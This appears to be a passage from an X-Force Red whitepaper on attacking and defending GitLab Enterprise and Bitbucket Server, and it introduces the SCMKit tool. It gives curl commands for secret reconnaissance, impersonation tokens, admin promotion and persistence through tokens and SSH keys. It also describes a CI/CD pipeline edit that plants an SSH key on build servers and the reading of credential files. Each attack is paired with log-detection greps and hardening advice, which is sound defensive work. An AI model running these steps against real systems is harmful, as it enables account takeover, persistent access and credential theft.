scenarios against GitLab Enterprise will be shown, along with how these attacks can be detected in system logs. BACKGROUND Terminology One of the key terms that is used frequently within GitLab Enterprise is “projects”. Projects can host code, track issues and can contain CI/CD pipelines. A full listing of key terms related to GitLab Enterprise can be found at this resource31. Access Model Access Levels There are five roles that are available for a user in terms of project permissions listed below. A detailed table that includes every action that each project permission role allows is available at this resource32. • Guest • Reporter • Developer • Maintainer • Owner For each of the five roles, there are several group member permissions available. A detailed table that includes group member actions that each role allows is available at this resource33. One thing to note is that by default, users can change their usernames and can create groups. 31 https://docs.gitlab.com/ee/user/index.html 32 https://docs.gitlab.com/ee/user/permissions.html#project-members-permissions 33 https://docs.gitlab.com/ee/user/permissions.html#group-members-permissions X-Force Red | 3/2/2022 50 Each role also has several CI/CD pipeline permissions34 available and CI/CD job permissions35. Access Token Scopes There are a total of eight personal access token scopes that are available in GitLab Enterprise. A listing of the different scopes and descriptions are below from this resource36. Scope Description api Read-write for the complete API, including all groups and projects, the Container Registry, and the Package Registry. read_user Read-only for endpoints under /users. Essentially, access to any of the GET requests in the Users API. read_api Read-only for the complete API, including all groups and projects, the Container Registry, and the Package Registry. read_repository Read-only (pull) for the repository through git clone. write_repository Read-write (pull, push) for the repository through git clone. Required for accessing Git repositories over HTTP when 2FA is enabled. read_registry Read-only (pull) for Container Registry images if a project is private and authorization is required. write_registry Read-write (push) for Container Registry images if a project is private and authorization is required. (Introduced in GitLab 12.10.) sudo API actions as any user in the system (if the authenticated user is an administrator). Table of access token scopes 34 https://docs.gitlab.com/ee/user/permissions.html#gitlab-cicd-permissions 35 https://docs.gitlab.com/ee/user/permissions.html#job-permissions 36 https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#personal-access-token-scopes X-Force Red | 3/2/2022 51 API Capabilities The GitLab REST API enables a user to perform several actions such as interacting with projects, access tokens, SSH keys and more. This also allows administrative actions. Full documentation on the REST API is available here37. ATTACK SCENARIOS The below scenarios are notable for an attacker to attempt against GitLab Enterprise and have been useful as a part of X-Force Red’s Adversary Simulation engagements. This is not an exhaustive list of every single attack path available to execute on GitLab Enterprise. The below table summarizes the attack scenarios that will be described. Attack Scenario Sub-Scenario Admin Required? Reconnaissance -Repository -File -Code No User Impersonation -Impersonate User Login -Impersonation Token Yes Promoting User to Admin Role N/A Yes Maintain Persistent Access -Personal Access Token -Impersonation Token -SSH Key No Yes No Modifying CI/CD Pipeline N/A No SSH Access N/A Yes Table of GitLab Enterprise Attack Scenarios Reconnaissance The first step an attacker will take once access has been gained to a GitLab Enterprise instance, is to start performing reconnaissance. Reconnaissance that could be of value to an attacker includes searching for repositories, files, and code of interest. Repository Reconnaissance An attacker may be looking for repositories that deal with a particular application or system. In this case, we are searching for “charm” to look for repositories with that search term in the name. 37 https://docs.gitlab.com/ee/api/index.html X-Force Red | 3/2/2022 52 Performing web interface project search in GitLab Another option for an attacker to search for a project is via the Advanced Search REST API38 as shown with the below example curl command. curl -k --header "PRIVATE-TOKEN: apiKey" "https://gitlabHost/api/v4/search?scope=projects&search=searchTerm" 38 https://docs.gitlab.com/ee/api/search.html#scope-projects X-Force Red | 3/2/2022 53 Project search results via API File Reconnaissance There also may be certain files of interest to an attacker based on file name. For example, maybe a file with “decrypt” in it. In GitLab Enterprise, you can use the “Advanced Search” feature in the web interface if Elasticsearch is configured and enabled. This is detailed at this resource39. An alternative method for an attacker to search for a file is via the Repository Tree REST API40 as shown with the below example curl command. This request needs to be performed for each project, and then the output filtered for the file you are looking for. curl -k --header "PRIVATE-TOKEN: apiToken" "https://gitlabHost/api/v4/projects/projectID/repository/tree" | python -m json.tool | grep -i searchTerm 39 https://docs.gitlab.com/ee/user/search/advanced_search.html 40 https://docs.gitlab.com/ee/api/repositories.html#list-repository-tree X-Force Red | 3/2/2022 54 Search results for filtering for files of interest Code Reconnaissance An important area of interest for an attacker is searching for secrets within code, such as passwords or API keys. In GitLab Enterprise, you can use the “Advanced Search” feature in the web interface if Elasticsearch is configured and enabled. A different method for an attacker to search code is via the Project Search REST API41 as shown with the below example curl command. This request needs to be performed for each project. curl -k --request GET --header "PRIVATE-TOKEN: apiKey" "https://gitlabHost/api/v4/projects/projectID/search?scope=blobs&searc h=searchTerm" | python -m json.tool Results of searching for search term in code Logging of Reconnaissance The project searches via the web interface are logged in the Production log (/var/log/gitlab/gitlab-rails/production.log) as shown below. One issue with this is that it doesn’t have details on the search term that was used. As you can see in the below screenshot it says “[FILTERED]”. cat /var/log/gitlab/gitlab-rails/production.log | grep -A3 -i GET | grep -i '/search?search' cat /var/log/gitlab/gitlab-rails/production_json.log | grep -i get | grep -i '/search"' 41 https://docs.gitlab.com/ee/api/search.html#scope-blobs-premium-2 X-Force Red | 3/2/2022 55 Viewing production logs for search information The project, file and code searches via the REST API previously shown are logged via the API log (/var/log/gitlab/gitlab-rails/api_json.log) as shown below. However, the actual search query is not shown and is instead shown as “[FILTERED]”. cat /var/log/gitlab/gitlab-rails/api_json.log | grep -i get | grep -i '/search"\|repository/tree' Viewing API log for searches An alternative log file to get the search terms being used is the web log (/var/log/gitlab/nginx/gitlab_access.log) as shown below. This allows defenders to see what is being searched for and build rules for anomalous activity or suspicious searches such as “password”. cat /var/log/gitlab/nginx/gitlab_access.log | grep -i '/search' | cut -d " " -f1,4,7 | grep -i api X-Force Red | 3/2/2022 56 Filtering web log for search requests Ensure all the logs mentioned are being forwarded from the GitLab Enterprise server to a SIEM, where they can be ingested, and alerts built from them for anomalous activity. User Impersonation There are two options an attacker has if they have administrative access to GitLab Enterprise and would like to impersonate another user. The first option is to impersonate a user login via the web interface, and the second option is to create an impersonation token. Impersonate User Login When viewing a user via the admin area, there is a button available in the top right-hand corner labeled “Impersonate”. Impersonate user button in hpotter profile After clicking the “Impersonate” button, you will be logged in as the user you are wanting to impersonate. In this instance, we are impersonating the hpotter user account. X-Force Red | 3/2/2022 57 Showing impersonation of hpotter This impersonation action is logged as shown in the audit events documentation 42. The below search query can be performed on the GitLab server to find impersonation logon events. cat /var/log/gitlab/gitlab-rails/application*.log | grep -i 'has started impersonating' Showing user impersonation in application log Impersonation Token An attacker with admin access can also impersonate another user by creating an impersonation token. This can be performed via the web interface or the Users REST API43. Using the web interface as an admin, you can navigate to the “Impersonation Tokens” section for the user account that you would like to impersonate. Add the details for your token including name, expiration date, and scope of permissions. 42 https://docs.gitlab.com/ee/administration/audit_events.html#impersonation-data 43 https://docs.gitlab.com/ee/api/users.html#create-an-impersonation-token X-Force Red | 3/2/2022 58 Creating impersonation token After you have created your impersonation token, the token value will be listed for use. The user that is impersonated cannot see this impersonation token when accessing GitLab Enterprise as themselves; it is only visible to other admin users. Showing created impersonation token X-Force Red | 3/2/2022 59 This activity is logged in the production log (/var/log/gitlab/gitlab- rails/production_json.log) as shown below. cat /var/log/gitlab/gitlab-rails/production_json.log | grep -i impersonate cat /var/log/gitlab/gitlab-rails/production.log | grep -A3 -i post | grep -A3 -i impersonation_tokens Viewing impersonation token creation via web interface in logs An attacker can also create an impersonation token via the Users REST API as shown with the below example curl command. curl -k --request POST --header "PRIVATE-TOKEN: apiToken" --data "name=someName-impersonate" --data "expires_at=" --data "scopes[]=api" --data "scopes[]=read_user" --data "scopes[]=read_repository" --data "scopes[]=write_repository" --data "scopes[]=sudo" "https://gitlabHost/api/v4/users/userIDNumberToImpersonate/impersonati on_tokens" Output after creating impersonation token via API X-Force Red | 3/2/2022 60 This activity is logged in the API log (/var/gitlab/gitlab-rails/api_json.log) as shown below. cat /var/log/gitlab/gitlab-rails/api_json.log | grep -i impersonation_tokens Viewing impersonation token creation via API in logs Promoting User to Admin Role An attacker who has admin credentials (username/password or API key) can promote another regular user to the admin role. One option to perform this is via the GitLab Enterprise web interface by checking the “Admin” radio button shown below. X-Force Red | 3/2/2022 61 Giving user admin level access You can now see the hgranger user has the admin role. X-Force Red | 3/2/2022 62 Showing hgranger user has admin access This activity is logged in the production log (/var/log/gitlab/gitlab- rails/production_json.log) as shown below. cat /var/log/gitlab/gitlab-rails/production_json.log | grep -i patch | grep -i 'admin/users' cat /var/log/gitlab/gitlab-rails/production.log | grep -A3 -i 'patch' | grep -A3 -i 'admin/users' Showing logging for adding user to admin via web interface An attacker can also promote a user to admin via the Users REST API44 as shown with the below example curl command. 44 https://docs.gitlab.com/ee/api/users.html#user-modification X-Force Red | 3/2/2022 63 curl -k --request PUT --header "PRIVATE-TOKEN: apiToken" -H $'Content- Type: application/json' --data-binary '{"admin":"true"}' "https://gitlabHost/api/v4/users/UserIDNumberToPromote" Adding user to admin via API This activity is logged in the API log (/var/log/gitlab/gitlab-rails/api_json.log) as shown below. cat /var/log/gitlab/gitlab-rails/api_json.log | grep -i PUT | grep -i '"key":"admin","value":"true"' Snippet of API log showing user added to admin role Maintain Persistent Access An attacker has three primary options in terms of maintaining persistent access to GitLab Enterprise. This can be performed either by creating a personal access token, impersonation token, or adding a public SSH key. Personal Access Token X-Force Red | 3/2/2022 64 The first option is creating a personal access token. This can be performed via the web interface as a regular user or can be performed via the Users REST API45 as an administrator. The below screenshot shows creating a personal access token called “persistence-token”. Creating personal access token for hpotter user You can see the created personal access token and the token value below. 45 https://docs.gitlab.com/ee/api/users.html#create-a-personal-access-token X-Force Red | 3/2/2022 65 Showing token value created This activity is logged in the production log (/var/log/gitlab/gitlab- rails/production.log) as shown below. cat /var/log/gitlab/gitlab-rails/production.log | grep -A3 -i post | grep -A3 -i personal_access_tokens cat /var/log/gitlab/gitlab-rails/production_json.log | grep -i post | grep -i personal_access_tokens Viewing production log with access token creation activity An attacker can also create a personal access token via the Users REST API as shown with the below example curl command. This requires admin permissions. curl -k --request POST --header "PRIVATE-TOKEN: apiToken" --data "name=hgranger-persistence-token" --data "expires_at=" --data "scopes[]=api" --data "scopes[]=read_repository" --data "scopes[]=write_repository" "https://gitlabHost/api/v4/users/UserIDNumber/personal_access_tokens" X-Force Red | 3/2/2022 66 Creating access token via API This activity is logged in the API log (/var/log/gitlab/gitlab-rails/api_json.log) as shown below. cat /var/log/gitlab/gitlab-rails/api_json.log | grep -i post | grep -i personal_access_tokens Viewing API log with access token creation Impersonation Token If an attacker has admin privileges in GitLab Enterprise, they can create an impersonation token for any user they would like. This is a much stealthier option in terms of maintaining access to GitLab Enterprise. This process and details were previously covered in the “User Impersonation” section. SSH Key Another option that an attacker has for maintaining persistent access to GitLab Enterprise is via an SSH key as shown in the screenshot below. X-Force Red | 3/2/2022 67 Adding SSH key via web interface This activity is logged in the production log (/var/log/gitlab/gitlab- rails/production.log) as shown below. cat /var/log/gitlab/gitlab-rails/production.log | grep -A3 -i post | grep -A3 -i 'profile/keys' cat /var/log/gitlab/gitlab-rails/production_json.log | grep -i post | grep -i 'profile/keys' Viewing log with evidence of adding SSH key for hgranger X-Force Red | 3/2/2022 68 Another method to add an SSH key is via the Users REST API46 as shown with the below example curl command. When performing this request via a personal access token, it requires the “api” permission in the scope of the personal access token. Additionally, this SSH key cannot exist for any other user. Users cannot share the same public SSH key. curl -k --request POST -H $'Content-Type: application/json' --header "PRIVATE-TOKEN: apiToken" --data-binary '{"title":"persistence- key","key":"pubSSHKey"}' "https://gitlabHost/api/v4/user/keys" Adding SSH key via API request The private SSH key associated with the public SSH key added can now be used to clone repositories within GitLab Enterprise. Cloning repository via added SSH key This activity is logged in the API log (/var/log/gitlab/gitlab-rails/api_json.log) as shown below. cat /var/log/gitlab/gitlab-rails/api_json.log | grep -i post | grep -i 'user/keys' 46 https://docs.gitlab.com/ee/api/users.html#add-ssh-key X-Force Red | 3/2/2022 69 Viewing SSH key addition via API log Modifying CI/CD Pipeline As shown in the “” section, GitLab Runners can be abused to facilitate lateral movement throughout an environment. A GitLab Runner will run the instructions defined in the CI configuration file for a project. The example of modifying the GitLab CI configuration file is shown below. This can also be done outside of the web interface via the Git command-line tool. When modifying the CI configuration file, you will need either the Developer, Maintainer or Owner role for a project. Modifying GitLab CI configuration file X-Force Red | 3/2/2022 70 When modifying the GitLab CI configuration file through the web interface, it is logged in the Production log (/var/log/gitlab/gitlab-rails/production_json.log) as shown below. cat /var/log/gitlab/gitlab-rails/production_json.log | grep -i post | grep -i '/api/graphql' | grep -i '.gitlab-ci.yml' | grep -i update Filtering production log for CI file update Any commits that update the CI configuration file in a project should be heavily scrutinized and require approval before pushed. SSH Access If an attacker obtains SSH access to a GitLab Enterprise server, there are a few items of interest. The first item is the GitLab configuration file (/etc/gitlab/gitlab.rb), as it can contain multiple different types of credentials. For example, if GitLab Enterprise is integrated with Active Directory, it may have LDAP credentials in the configuration file, as shown below. X-Force Red | 3/2/2022 71 Reading GitLab configuration file searching for AD creds Another type of credential that may be contained in the configuration file is AWS keys. This is just one example of a type of credential that could be contained in this configuration file. X-Force Red | 3/2/2022 72 Reading GitLab configuration file searching for AWS keys The GitLab secrets json file (/etc/gitlab/gitlab-secrets.json) also may contain credentials of interest to an attacker. Reading GitLab secrets file By default, GitLab Enterprise uses a Postgresql database to store information. This can be connected to locally as shown below. X-Force Red | 3/2/2022 73 Accessing Postgresql database One type of information that can be obtained from this database is user information, as shown below. Listing user information in Postgresql database X-Force Red | 3/2/2022 74 Bitbucket Bitbucket is the last SCM system that will be detailed in this whitepaper. In this section, there will be an overview of common terminology, the access model and API capabilities of Bitbucket. Additionally, attack scenarios against Bitbucket will be shown, along with how these attacks can be detected in system logs. In this case, Bitbucket Server47 will be specifically detailed. BACKGROUND Terminology A list of key terms related to Bitbucket can be found here48. One thing to note about Bitbucket is that a project is meant to be a container for one-to-many repositories. Access Model Access Levels There are four levels of permissions in Bitbucket, which include global, project, repository, and branch permissions. A table listing an explanation of the permissions is shown below from the Bitbucket documentation49. One thing to note is that all permissions can either be set at the user or group level. Before a user can login to Bitbucket, they must at least have been added permissions in the global access permissions. Permission Name Description Global Who can login to Bitbucket, who is system admin, admin, etc. Project Read, write, and admin permissions at the project (groups of repositories) level. Repository Read, write, and admin permissions on a per repository basis. Branch Write (push) access on a per branch basis. 47 https://www.atlassian.com/software/bitbucket/enterprise 48 https://bitbucket.org/product/guides/getting-started/overview#key-terms-to-know 49 https://confluence.atlassian.com/bitbucketserverkb/4-levels-of-bitbucket-server-permissions-779171636.html X-Force Red | 3/2/2022 75 Table of Bitbucket permission types The below table explains the different roles that can be assigned via the global permissions. Bitbucket global access permissions50 The below table explains the different roles that can be assigned via the project permissions. Bitbucket project permissions51 50 https://confluence.atlassian.com/bitbucketserver/global-permissions-776640369.html 51 https://confluence.atlassian.com/bitbucketserver/using-project-permissions-776639801.html X-Force Red | 3/2/2022 76 The below table explains the different roles that can be assigned via the repository permissions. Bitbucket repository permissions52 The below table explains the branch permissions that can be assigned53. Name Description Prevent all changes Prevents pushes to the specified branch(es) and restricts creating new branches that match the branch(es) or pattern. Prevent deletion Prevents branch and tag deletion. Prevent rewriting history Prevents history rewrites on the specified branch(es) - for example by a force push or rebase. Prevent changes without a pull request Prevents pushing changes directly to the specified branch(es); changes are allowed only with a pull request. Bitbucket branch permissions Access Token Scopes Access tokens in Bitbucket are restricted to just use with projects and repositories. This is a different model than some other SCM systems like GitHub Enterprise and GitLab 52 https://confluence.atlassian.com/bitbucketserver/using-repository-permissions-776639771.html 53 https://confluence.atlassian.com/bitbucketserver/using-branch-permissions-776639807.html X-Force Red | 3/2/2022 77 Enterprise. The below table explains the different scopes that can be assigned to an access token. Bitbucket API scopes54 API Capabilities The Bitbucket REST API enables a user to perform several actions such as interacting with projects, repositories, access tokens, SSH keys and more. Full documentation on the REST API is available at this resource55. 54 https://confluence.atlassian.com/bitbucketserver/http-access-tokens-939515499.html 55 https://developer.atlassian.com/server/bitbucket/reference/rest-api/ X-Force Red | 3/2/2022 78 ATTACK SCENARIOS The below scenarios are notable for an attacker to attempt against Bitbucket and have been useful as a part of X-Force Red’s Adversary Simulation engagements. This is not an exhaustive list of every single attack path available to execute on Bitbucket. The below table summarizes the attack scenarios that will be described. Attack Scenario Sub-Scenario Admin Required? Reconnaissance -Repository -File -Code No Promoting User to Admin Role N/A Yes Maintain Persistent Access -Personal Access Token -SSH Key No Modifying CI/CD Pipeline N/A No – Write Access to Repo Table of Bitbucket Attack Scenarios Reconnaissance The first step an attacker will take once access has been gained to a Bitbucket instance, is to start performing reconnaissance. Reconnaissance that could be of value to an attacker includes searching for repositories, files, and code of interest. Repository Reconnaissance An attacker may be looking for repositories that deal with a particular application or system. In this case, we are searching for “cred” to look for repositories with that search term in the name. Searching for repository via web interface X-Force Red | 3/2/2022 79 Project searches can be accomplished also via the Repos REST API56 as shown with the below example curl command. curl -i -s -k -X $'GET' -H $'Content-Type: application/json' -H $'Authorization: Bearer accessToken' $'https://bitbucketHost/rest/api/1.0/repos?name=searchTerm' File Reconnaissance There also may be certain files of interest to an attacker based on file name. For example, maybe a file with “decrypt” in it. In this example, we are searching for any files with “jenkinsfile” in the name. Searching for file via web interface Another option for an attacker to search for a file is via the Search REST API as shown with the below example curl command. curl -i -s -k -X $'POST' -H $'Content-Type: application/json' -H $'Authorization: Bearer accessToken' --data-binary $'{\"query\":\"searchTerm\",\"entities\":{\"code\":{}},\"limits\":{\"p rimary\":100,\"secondary\":100}}' $'https://bitbucketHost/rest/search/latest/search' Code Reconnaissance Another area of interest for an attacker is searching for secrets within code, such as passwords or API keys. In this example, we are searching for “API_KEY”. 56 https://docs.atlassian.com/bitbucket-server/rest/7.20.0/bitbucket-rest.html#idp450 X-Force Red | 3/2/2022 80 Searching for code via web interface An attacker can also search for a project via the Search REST API as shown with the below example curl command. curl -i -s -k -X $'POST' -H $'Content-Type: application/json' -H $'Authorization: Bearer apiToken' --data-binary $'{\"query\":\"searchTerm\",\"entities\":{\"code\":{}},\"limits\":{\"p rimary\":100,\"secondary\":100}}' $'https://bitbucketHost/rest/search/latest/search' Logging of Reconnaissance In order to log the search query that is being performed, the logging level needs to be increased as shown in the below screenshot by enabling debug logging. This will add significantly more logging and usage of disk space on the Bitbucket server, so this logging change will depend on the organization. This is in the system administration menu within “Logging and Profiling”. X-Force Red | 3/2/2022 81 Increasing logging level to cover search terms being used You will see that the detailed search request is now in the Bitbucket log (/var/log/atlassian/application-data/bitbucket/log/atlassian- bitbucket.log) cat /var/atlassian/application-data/bitbucket/log/atlassian- bitbucket.log | grep -i post | grep -i search | grep -i query Viewing logging of search criteria X-Force Red | 3/2/2022 82 Promoting User to Admin Role An attacker who has admin credentials (username/password) can promote another regular user to the admin role. One option to perform this is via the Bitbucket web interface by checking the “Admin” checkbox next to the respective user. Adding admin role to user via web interface This is logged via the access log (/var/atlassian/application- data/bitbucket/log/atlassian-bitbucket-access.log) as shown below. cat /var/atlassian/application-data/bitbucket/log/atlassian-bitbucket- access.log | grep -i put | grep -i "/admin/permissions/users" Viewing role change in access log An attacker can also add a user to the admin role via the Admin User Permissions REST API57 as shown with the below example curl command. In this instance we are using the adumbledore account to add the hpotter account to the admin role. curl -i -s -k -X $'PUT' -H $'Content-Type: application/json' -b $'BITBUCKETSESSIONID= SessionID' $'https://bitbucketHost/rest/api/1.0/admin/permissions/users?name=user ToAdd&permission=ADMIN' 57 https://docs.atlassian.com/bitbucket-server/rest/4.5.1/bitbucket-rest.html#idp3716336 X-Force Red | 3/2/2022 83 Adding user to admin role via API This is logged in the audit log (/var/atlassian/application- data/bitbucket/log/audit/*.log) as shown below. cat /var/atlassian/application-data/bitbucket/log/audit/*.log | grep - i 'new.permission' | grep -i admin Finding user addition via API in audit log Additionally, the audit log can be viewed in the Bitbucket web interface to see these events by filtering on “Global permission changed” where the “ADMIN” permission was added as shown below. X-Force Red | 3/2/2022 84 Viewing audit log in web interface for global permission changes Maintain Persistent Access There are two primary options an attacker can use to maintain persistent access to a Bitbucket instance, which includes creating a personal access token or creating an SSH key. There is no concept of impersonation tokens within Bitbucket like there is in GitHub Enterprise and GitLab Enterprise. Personal Access Token Personal access tokens (HTTP access tokens) in Bitbucket are only scoped to interact with projects and repositories and are not scoped to perform other actions such as interacting with users or administrative functionality. To create a personal access token via the web interface, navigate to the user account and select “HTTP access tokens” as shown below. X-Force Red | 3/2/2022 85 Access token menu You can then specify the access token name, permissions, and expiration date. Creating access token via web interface This is logged via the access log (/var/atlassian/application- data/bitbucket/log/atlassian-bitbucket-access.log) as shown below. cat /var/atlassian/application-data/bitbucket/log/atlassian-bitbucket- access.log | grep -i put | grep -i '/rest/access-tokens' X-Force Red | 3/2/2022 86 Viewing access token creation in web interface via access log This can also be performed via the Access Tokens REST API58 as shown in the below curl command. curl -i -s -k -X $'PUT' -H $'Content-Type: application/json' -b $'BITBUCKETSESSIONID=sessionID' --data-binary $'{\"name\": \"tokenName\",\"permissions\": [\"REPO_ADMIN\",\"PROJECT_ADMIN\"],\"expiryDays\": \"\"}' $'https://bitbucketHost/rest/access- tokens/1.0/users/userToCreateAccessTokenFor This is logged via the audit log (/var/atlassian/application- data/bitbucket/log/audit/*.log) as shown below. cat /var/atlassian/application-data/bitbucket/log/audit/*.log | grep - i "personal access token created" Filtering audit log for personal access token created Additionally, the audit log can be viewed in the Bitbucket web interface to see these events by filtering on “Personal access token created” as shown below. 58 https://docs.atlassian.com/bitbucket-server/rest/7.20.0/bitbucket-access-tokens-rest.html X-Force Red | 3/2/2022 87 Viewing advanced audit log for access token creation SSH Key An attacker can also maintain access to Bitbucket by adding an SSH key. You can’t add an SSH key that already exists for another user. This can be performed via the web interface by navigating to a user profile and selecting “SSH keys” → “Add key”. Adding SSH key via web interface Below you can see the SSH key that was added. X-Force Red | 3/2/2022 88 Viewing added SSH key You can then use that SSH key to clone repositories as that user. Cloning repository via added SSH key This is logged via the access log (/var/atlassian/application- data/bitbucket/log/atlassian-bitbucket-access.log) as shown below. cat /var/atlassian/application-data/bitbucket/log/atlassian-bitbucket- access.log | grep -i post | grep -i 'ssh/account/keys/add' Viewing access log for SSH key added X-Force Red | 3/2/2022 89 An alternative method to add an SSH key is via the SSH REST API 59 as shown with the below example curl command. curl -i -s -k -X $'POST' -H $'Content-Type: application/json' -b $'BITBUCKETSESSIONID=sessionID' --data-binary $'{"text":"yourSSHKey"}' $'https://bitbucketHost/rest/ssh/1.0/keys?user=UserToCreateSSHKeyFor' This is logged via the audit log (/var/atlassian/application- data/bitbucket/log/audit/*.log) as shown below. cat /var/atlassian/application-data/bitbucket/log/audit/*.log | grep - i "user added ssh access key" Viewing audit log for SSH key added Additionally, the audit log can be viewed in the Bitbucket web interface to see these events by filtering on “User added SSH access key to profile” as shown below. 59 https://docs.atlassian.com/bitbucket-server/rest/7.20.0/bitbucket-ssh-rest.html X-Force Red | 3/2/2022 90 Viewing advanced audit log for adding SSH key Modifying CI/CD Pipeline In Bitbucket, there is a feature called Bamboo60 that can be installed and configured to facilitate a CI/CD pipeline. If a repository is using a CI/CD pipeline with Bamboo, it will contain a directory named “bamboo-specs” within the root of the repository, along with a Bamboo configuration file. This configuration file will either be a YAML 61 file (bamboo.yaml) or a Java62 spec file (pom.xml). If an attacker would like to discover any repositories that are configured with a CI/CD pipeline via Bamboo, they can search for “bamboo-specs” in either the web interface or REST API. 60 https://www.atlassian.com/software/bamboo 61 https://docs.atlassian.com/bamboo-specs-docs/8.1.2/specs.html?yaml# 62 https://docs.atlassian.com/bamboo-specs-docs/8.1.2/specs.html?java# X-Force Red | 3/2/2022 91 Discovering repos with CI/CD integration via Bamboo As long as you have write access or admin access to a repository, the Bamboo configuration file can be modified. In this case, we are modifying the bamboo.yaml file to add our SSH key to the server where the Bamboo agent is running. This can be performed via the Git command line tool as well to commit the changes to the Bamboo configuration file. Modifying Bamboo yaml file X-Force Red | 3/2/2022 92 This will immediately trigger the CI/CD pipeline to run as shown below. Showing successful job status When viewing the output from the pipeline, we can see our SSH key was added, and it printed the hostname of the server where the SSH key was added. Viewing pipeline logs Below shows successfully accessing the server where the SSH key was added via the modified CI/CD pipeline configuration file via SSH. X-Force Red | 3/2/2022 93 Proving SSH access to Bitbucket server When there is a change to a CI/CD pipeline, this is logged on the Bamboo server as shown below. sudo cat $BAMBOO_HOME/logs/atlassian-bamboo.log | grep -i "change detection found" Results of searching for changes in Bamboo YAML file Any commits that update the Bamboo YAML file in a project should be heavily scrutinized and require approval before pushed. X-Force Red | 3/2/2022 94 SCMKit BACKGROUND At X-Force Red, we wanted to take advantage of the REST API functionality available in the most common SCM systems seen during engagements and add the most useful functionality in a proof-of-concept tool called SCMKit. The goal of this tool is to provide awareness of the abuse of SCM systems, and to encourage the detection of attack techniques against SCM systems. SCMKit allows the user to specify the SCM system and attack module to use, along with specifying valid credentials (username/password or API key) to the respective SCM system. Currently, the SCM systems that SCMKit supports are GitHub Enterprise, GitLab Enterprise and Bitbucket Server. The attack modules supported include reconnaissance, privilege escalation and persistence. Other functionality available in the non-public version of SCMKit were not included in consideration for defenders, such as user impersonation and built-in credential searching. SCMKit was built in a modular approach, so that new modules and SCM systems can be added in the future by the information security community. The tool and full documentation are available on the X-Force Red GitHub63. A few example use cases will be shown in the next sections. RECONNAISSANCE SCMKit has multiple modules available to perform reconnaissance of repositories, files, code, and other resources specific to various SCM systems such as GitLab Runners for example. The below example shows using the “codesearch” module in SCMKit. In this scenario, we are searching for any code in Bitbucket Server that contains “API_KEY” to try and discover API key secrets within source code. 63 https://github.com/xforcered X-Force Red | 3/2/2022 95 Code search example for API key with SCMKit File reconnaissance can also be performed with SCMKit. In this example, we are searching for any files named “Jenkinsfile” to discover any Jenkins CI configuration files within GitLab Enterprise. X-Force Red | 3/2/2022 96 File search example with SCMKit There are several other reconnaissance modules that apply only to certain SCM systems. For example, there is a reconnaissance module to discover GitLab Runners that you have access to via the “runnerlist” module. GitLab Runner reconnaissance example with SCMKit X-Force Red | 3/2/2022 97 PRIVILEGE ESCALATION Another capability available in SCMKit is to add another user to the admin role. The below example shows adding a regular user under our control (hgranger in this case) to the site admin role in GitHub Enterprise via the “addadmin” module. Adding site admin example via SCMKit You can see the change that took effect in GitHub Enterprise after performing the site admin addition via SCMKit, as the hgranger user is now a member of the site admins group. X-Force Red | 3/2/2022 98 Showing hgranger added as site admin PERSISTENCE There are two persistence modules within SCMKit that include the use of personal access tokens or SSH keys. This can be useful to maintain access to an SCM system. The below example shows creating an access token for the hgranger user account in GitLab Enterprise via the “createpat” module. X-Force Red | 3/2/2022 99 Creating access token example with SCMKit We can list all active access tokens for a given user via the “listpat” module as shown below. Listing access tokens example with SCMKit X-Force Red | 3/2/2022 100 Another persistence module available in SCMKit is the creation of SSH keys via the “createsshkey” module. In this example, we are adding an SSH key for the hgranger user in Bitbucket Server. Creating SSH key example with SCMKit We can list all active SSH keys for a given user via the “listsshkey” module as shown below. X-Force Red | 3/2/2022 101 Listing SSH keys example with SCMKit X-Force Red | 3/2/2022 102 Defensive Considerations SCMKIT There are multiple static signatures that can be used to detect the usage of SCMKit. These can be found in the Yara rule on the SCMKit repository. A static user agent string is used when attempting each module in SCMKit. The user agent string is “SCMKIT-5dc493ada400c79dd318abbe770dac7c”. A Snort rule is provided on the SCMKit repository. Additionally, any access tokens or SSH keys that are created in SCM systems using SCMKit will be prepended with “SCMKit-” in the name as shown below. This can be filtered in the respective SCM system to indicate an access token or SSH key was created using SCMKit. Viewing access token created by SCMKit X-Force Red | 3/2/2022 103 GITHUB ENTERPRISE Ensure that the below logs are being sent to your SIEM. This also lists the location of the logs on the GitHub Enterprise server. Log Name Location Audit Log /var/log/github-audit.log* Management Log /var/log/enterprise-manage/unicorn.log* HAProxy Log /var/log/haproxy.log Table of GitHub Enterprise logs of interest Below are the various filters you can apply to the logs to detect the attacks demonstrated in this whitepaper. Use these filters to build a baseline and detect anomalous activity in your environment. Attack Scenario Log Name Search Filter Reconnaissance HAProxy Log (‘/search’ OR ‘/api/v3/search’) AND ‘http’ Repository Takeover Audit Log ‘action:repo.staff_unlock’ User Impersonation Audit Log ‘action:staff.fake_login’ OR ‘action:oauth_access.create’ OR ‘action:oauth_authorization.create’ Promoting User to Site Admin Audit Log ‘action:user.promote’ OR ‘action:business.add_admin’ Maintaining Persistent Access Audit Log ‘action:oauth_access.create’ OR ‘action:oauth_authorization.create’ OR ‘action:public_key.create’ OR action:public_key.verify Management Console Access Management Log ‘authorized-keys’ AND ‘post’ X-Force Red | 3/2/2022 104 Table of search queries for various attack types Additionally, the below items should be considered within GitHub Enterprise: • Disable user impersonation • Do not allow users to create personal access tokens or SSH keys with no expiration date • Set automatic expiration date on all personal access tokens and SSH keys created/added • Limit the number of site admins. At minimum there should be two site admins, and should not be more unless necessary • Operate on a policy of least privilege in terms of access to repositories • Require signed commits via GPG keys or S/MIME certificates • Enable MFA for accessing GitHub Enterprise • Ensure that code branches are deleted in a timely manner • Require at least one approver for each code commit X-Force Red | 3/2/2022 105 GITLAB ENTERPRISE Ensure that the below logs are being sent to your SIEM. This also lists the location of the logs on the GitLab Enterprise server. Log Name Location Application Log /var/log/gitlab/gitlab-rails/application.log /var/log/gitlab/gitlab-rails/application_json.log Production Log /var/log/gitlab/gitlab-rails/production_json.log /var/log/gitlab/gitlab-rails/production.log API Log /var/log/gitlab/gitlab-rails/api_json.log Web Log /var/log/gitlab/nginx/gitlab_access.log Table of GitLab Enterprise logs of interest Below are the various filters you can apply to the logs to detect the attacks demonstrated in this whitepaper. Use these filters to build a baseline and detect anomalous activity in your environment. Attack Scenario Log Name Search Filter Reconnaissance Production Log API Log Web Log ‘get’ AND ‘/search?search’ ‘get’ AND ‘/search’ ‘get’ AND (‘/search’ OR ‘repository/tree’) ‘search’ User Impersonation Application Log 'has started impersonating' X-Force Red | 3/2/2022 106 Production Log API Log ‘impersonate’ ‘post’ AND ‘impersonation_tokens’ ‘impersonation_tokens’ Promoting User to Admin Role Production Log API Log ‘patch’ AND ‘admin/users’ ‘put’ AND '"key":"admin","value":"true"' Maintaining Persistent Access Production Log API 